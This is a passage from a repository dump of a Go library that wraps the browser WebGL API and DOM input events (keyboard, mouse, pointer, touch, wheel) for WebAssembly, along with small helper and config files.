gl.gl.Call("getBufferSubData", int(t), srcOffset, view, dstOffset, length) 279 | } 280 | 281 | func (gl *WebGL) ClearColor(r, g, b, a float32) { 282 | gl.gl.Call("clearColor", r, g, b, a) 283 | } 284 | 285 | func (gl *WebGL) ClearDepth(d float32) { 286 | gl.gl.Call("clearDepth", d) 287 | } 288 | 289 | func (gl *WebGL) Enable(c Capacity) { 290 | gl.gl.Call("enable", int(c)) 291 | } 292 | 293 | func (gl *WebGL) Disable(c Capacity) { 294 | gl.gl.Call("disable", int(c)) 295 | } 296 | 297 | func (gl *WebGL) IsEnabled(c Capacity) bool { 298 | return gl.gl.Call("isEnabled", int(c)).Bool() 299 | } 300 | 301 | func (gl *WebGL) DepthFunc(f DepthFunc) { 302 | gl.gl.Call("depthFunc", int(f)) 303 | } 304 | 305 | func (gl *WebGL) VertexAttribPointer(i, size int, typ Type, normalized bool, stride, offset int) { 306 | gl.gl.Call("vertexAttribPointer", i, size, int(typ), normalized, stride, offset) 307 | } 308 | 309 | func (gl *WebGL) VertexAttribIPointer(i, size int, typ Type, stride, offset int) { 310 | gl.gl.Call("vertexAttribIPointer", i, size, int(typ), stride, offset) 311 | } 312 | 313 | func (gl *WebGL) EnableVertexAttribArray(i int) { 314 | gl.gl.Call("enableVertexAttribArray", i) 315 | } 316 | 317 | func (gl *WebGL) DisableVertexAttribArray(i int) { 318 | gl.gl.Call("disableVertexAttribArray", i) 319 | } 320 | 321 | func (gl *WebGL) UniformMatrix4fv(loc Location, transpose bool, mat Mat4) { 322 | f := mat.Floats() 323 | matJS := float32Array.Call("of", 324 | f[0], f[1], f[2], f[3], 325 | f[4], f[5], f[6], f[7], 326 | f[8], f[9], f[10], f[11], 327 | f[12], f[13], f[14], f[15], 328 | ) 329 | gl.gl.Call("uniformMatrix4fv", js.Value(loc), transpose, matJS) 330 | } 331 | 332 | func (gl *WebGL) Uniform3fv(loc Location, v Vec3) { 333 | f := v.Floats() 334 | vecJS := float32Array.Call("of", f[0], f[1], f[2]) 335 | gl.gl.Call("uniform3fv", js.Value(loc), vecJS) 336 | } 337 | 338 | func (gl *WebGL) Uniform1i(loc Location, i int) { 339 | gl.gl.Call("uniform1i", js.Value(loc), i) 340 | } 341 | 342 | func (gl *WebGL) Uniform1ui(loc Location, i uint32) { 343 | gl.gl.Call("uniform1ui", js.Value(loc), i) 344 | } 345 | 346 | func (gl *WebGL) Uniform1f(loc Location, i float32) { 347 | gl.gl.Call("uniform1f", js.Value(loc), i) 348 | } 349 | 350 | func (gl *WebGL) Clear(mask BufferMask) { 351 | gl.gl.Call("clear", int(mask)) 352 | } 353 | 354 | func (gl *WebGL) DrawArrays(mode DrawMode, i, n int) { 355 | gl.gl.Call("drawArrays", int(mode), i, n) 356 | } 357 | 358 | func (gl *WebGL) DrawElements(mode DrawMode, count int, typ Type, offset int) { 359 | gl.gl.Call("drawElements", int(mode), count, int(typ), offset) 360 | } 361 | 362 | func (gl *WebGL) Viewport(x1, y1, x2, y2 int) { 363 | gl.gl.Call("viewport", x1, y1, x2, y2) 364 | } 365 | 366 | func (gl *WebGL) CreateTexture() Texture { 367 | tex := gl.gl.Call("createTexture") 368 | return Texture(&tex) 369 | } 370 | 371 | func (gl *WebGL) BindTexture(texType TextureType, tex Texture) { 372 | if tex == nil { 373 | gl.gl.Call("bindTexture", int(texType), nil) 374 | return 375 | } 376 | gl.gl.Call("bindTexture", int(texType), js.Value(*tex)) 377 | } 378 | 379 | func (gl *WebGL) TexImage2D(texType TextureType, level int, internalFmt, fmt PixelFormat, typ Type, img interface{}) { 380 | gl.gl.Call("texImage2D", int(texType), level, int(internalFmt), int(fmt), int(typ), img) 381 | } 382 | 383 | func (gl *WebGL) TexParameteri(texType TextureType, param TextureParameter, val interface{}) { 384 | gl.gl.Call("texParameteri", int(texType), int(param), val) 385 | } 386 | 387 | func (gl *WebGL) ActiveTexture(i TextureNumber) { 388 | gl.gl.Call("activeTexture", int(i)) 389 | } 390 | 391 | func (gl *WebGL) BlendFunc(s, d BlendFactor) { 392 | gl.gl.Call("blendFunc", int(s), int(d)) 393 | } 394 | 395 | func (gl *WebGL) TransformFeedbackVaryings(p Program, varyings []string, m BufferMode) { 396 | var v []interface{} 397 | for _, vs := range varyings { 398 | v = append(v, vs) 399 | } 400 | gl.gl.Call("transformFeedbackVaryings", js.Value(p), js.ValueOf(v), int(m)) 401 | } 402 | 403 | func (gl *WebGL) BeginTransformFeedback(mode DrawMode) { 404 | gl.gl.Call("beginTransformFeedback", int(mode)) 405 | } 406 | 407 | func (gl *WebGL) EndTransformFeedback() { 408 | gl.gl.Call("endTransformFeedback") 409 | } 410 | 411 | func (gl *WebGL) CreateTransformFeedback() TransformFeedback { 412 | return TransformFeedback(gl.gl.Call("createTransformFeedback")) 413 | } 414 | 415 | func (gl *WebGL) BindTransformFeedback(target TransformFeedbackTarget, fb TransformFeedback) { 416 | gl.gl.Call("bindTransformFeedback", int(target), js.Value(fb)) 417 | } 418 | 419 | func (gl *WebGL) FenceSync(c SyncCondition, flags int) WebGLSync { 420 | return WebGLSync(gl.gl.Call("fenceSync", int(c), flags)) 421 | } 422 | 423 | func (gl *WebGL) ClientWaitSync(sync WebGLSync, flags SyncFlushCommandBit, timeout int) WaitSyncResult { 424 | return WaitSyncResult(gl.gl.Call("clientWaitSync", js.Value(sync), int(flags), timeout).Int()) 425 | } 426 | 427 | func (gl *WebGL) DeleteSync(sync WebGLSync) { 428 | gl.gl.Call("deleteSync", js.Value(sync)) 429 | } 430 | 431 | func (gl *WebGL) Flush() { 432 | gl.gl.Call("flush") 433 | } 434 | 435 | func (gl *WebGL) Finish() { 436 | gl.gl.Call("finish") 437 | } 438 | 439 | func (gl *WebGL) IsContextLost() bool { 440 | return gl.gl.Call("isContextLost").Bool() 441 | } 442 | 443 | func (gl *WebGL) PolygonOffset(factor, units float32) { 444 | gl.gl.Call("polygonOffset", factor, units) 445 | } 446 | 447 | func (gl *WebGL) JS() js.Value { 448 | return gl.gl 449 | } 450 | 451 | func (gl *WebGL) GetExtension(name string) (js.Value, bool) { 452 | ret := gl.gl.Call("getExtension", name) 453 | if ret.IsNull() { 454 | return js.Value{}, false 455 | } 456 | return ret, true 457 | } 458 | 459 | func (gl *WebGL) GetParameter(id int) js.Value { 460 | return gl.gl.Call("getParameter", id) 461 | } 462 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/wetsisterinla/webgl-go 2 | 3 | go 1.16 4 | -------------------------------------------------------------------------------- /int.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "reflect" 5 | "unsafe" 6 | ) 7 | 8 | func byteSliceAsUInt32Slice(bytes []byte) []uint32 { 9 | n := len(bytes) / 4 10 | 11 | up := unsafe.Pointer(&(bytes[0])) 12 | pi := (*[1]uint32)(up) 13 | buf := (*pi)[:] 14 | sh := (*reflect.SliceHeader)(unsafe.Pointer(&buf)) 15 | sh.Len = n 16 | sh.Cap = n 17 | 18 | return buf 19 | } 20 | 21 | func uint16SliceAsByteSlice(b []uint16) []byte { 22 | n := 2 * len(b) 23 | 24 | up := unsafe.Pointer(&(b[0])) 25 | pi := (*[1]byte)(up) 26 | buf := (*pi)[:] 27 | sh := (*reflect.SliceHeader)(unsafe.Pointer(&buf)) 28 | sh.Len = n 29 | sh.Cap = n 30 | 31 | return buf 32 | } 33 | -------------------------------------------------------------------------------- /keyboardevent_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "syscall/js" 5 | ) 6 | 7 | type KeyboardEvent struct { 8 | UIEvent 9 | Code string 10 | Key string 11 | AltKey bool 12 | CtrlKey bool 13 | ShiftKey bool 14 | } 15 | 16 | func parseKeyboardEvent(event js.Value) KeyboardEvent { 17 | return KeyboardEvent{ 18 | UIEvent: UIEvent{ 19 | Event: Event{ 20 | event: event, 21 | }, 22 | }, 23 | Code: event.Get("code").String(), 24 | Key: event.Get("key").String(), 25 | AltKey: event.Get("altKey").Bool(), 26 | CtrlKey: event.Get("ctrlKey").Bool(), 27 | ShiftKey: event.Get("shiftKey").Bool(), 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /mat.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | type Vec3 interface { 4 | Floats() [3]float32 5 | } 6 | 7 | type Mat4 interface { 8 | Floats() [16]float32 9 | } 10 | -------------------------------------------------------------------------------- /mouseevent_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "syscall/js" 5 | ) 6 | 7 | type MouseButton int 8 | 9 | const ( 10 | MouseButtonNull MouseButton = -1 11 | ) 12 | 13 | type MouseEvent struct { 14 | UIEvent 15 | OffsetX, OffsetY int 16 | Button MouseButton 17 | AltKey bool 18 | CtrlKey bool 19 | ShiftKey bool 20 | } 21 | 22 | func parseMouseEvent(event js.Value) MouseEvent { 23 | b := MouseButtonNull 24 | button := event.Get("button") 25 | if !button.IsNull() { 26 | b = MouseButton(button.Int()) 27 | } 28 | return MouseEvent{ 29 | UIEvent: UIEvent{ 30 | Event: Event{ 31 | event: event, 32 | }, 33 | }, 34 | OffsetX: event.Get("offsetX").Int(), 35 | OffsetY: event.Get("offsetY").Int(), 36 | Button: b, 37 | AltKey: event.Get("altKey").Bool(), 38 | CtrlKey: event.Get("ctrlKey").Bool(), 39 | ShiftKey: event.Get("shiftKey").Bool(), 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /pointerevent_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "syscall/js" 5 | ) 6 | 7 | type PointerEvent struct { 8 | MouseEvent 9 | PointerId int 10 | IsPrimary bool 11 | } 12 | 13 | func parsePointerEvent(event js.Value) PointerEvent { 14 | return PointerEvent{ 15 | MouseEvent: parseMouseEvent(event), 16 | PointerId: event.Get("pointerId").Int(), 17 | IsPrimary: event.Get("isPrimary").Bool(), 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json", 3 | "extends": [ 4 | "config:base" 5 | ] 6 | } 7 | -------------------------------------------------------------------------------- /touchevent_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "syscall/js" 5 | ) 6 | 7 | type TouchEvent struct { 8 | UIEvent 9 | 10 | ChangedTouches []Touch 11 | TargetTouches []Touch 12 | Touches []Touch 13 | 14 | AltKey bool 15 | CtrlKey bool 16 | ShiftKey bool 17 | } 18 | 19 | func parseTouchEvent(event js.Value) TouchEvent { 20 | return TouchEvent{ 21 | UIEvent: UIEvent{ 22 | Event: Event{ 23 | event: event, 24 | }, 25 | }, 26 | ChangedTouches: parseTouches(event.Get("changedTouches")), 27 | TargetTouches: parseTouches(event.Get("targetTouches")), 28 | Touches: parseTouches(event.Get("touches")), 29 | AltKey: event.Get("altKey").Bool(), 30 | CtrlKey: event.Get("ctrlKey").Bool(), 31 | ShiftKey: event.Get("shiftKey").Bool(), 32 | } 33 | } 34 | 35 | type Touch struct { 36 | Identifier int 37 | ScreenX, ScreenY int 38 | ClientX, ClientY int 39 | PageX, PageY int 40 | } 41 | 42 | func parseTouches(touches js.Value) []Touch { 43 | n := touches.Length() 44 | ts := make([]Touch, 0, n) 45 | for i := 0; i < n; i++ { 46 | t := touches.Index(i) 47 | ts = append(ts, Touch{ 48 | Identifier: t.Get("identifier").Int(), 49 | ScreenX: t.Get("screenX").Int(), 50 | ScreenY: t.Get("screenY").Int(), 51 | ClientX: t.Get("clientX").Int(), 52 | ClientY: t.Get("clientY").Int(), 53 | PageX: t.Get("pageX").Int(), 54 | PageY: t.Get("pageY").Int(), 55 | }) 56 | } 57 | return ts 58 | } 59 | -------------------------------------------------------------------------------- /webglcontextevent_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | import ( 4 | "syscall/js" 5 | ) 6 | 7 | type WebGLContextEvent struct { 8 | Event 9 | StatusMessage string 10 | } 11 | 12 | func parseWebGLContextEvent(event js.Value) WebGLContextEvent { 13 | return WebGLContextEvent{ 14 | Event: Event{event: event}, 15 | StatusMessage: event.Get("statusMessage").String(), 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /wheelevent_js.go: -------------------------------------------------------------------------------- 1 | package webgl 2 | 3 | type DeltaMode int 4 | 5 | const ( 6 | DOM_DELTA_PIXEL DeltaMode = 0x00 7 | DOM_DELTA_LINE DeltaMode = 0x01 8 | DOM_DELTA_PAGE DeltaMode = 0x02 9 | ) 10 | 11 | type WheelEvent struct { 12 | MouseEvent 13 | DeltaX, DeltaY, DeltaZ float64 14 | DeltaMode DeltaMode 15 | } 16 | --------------------------------------------------------------------------------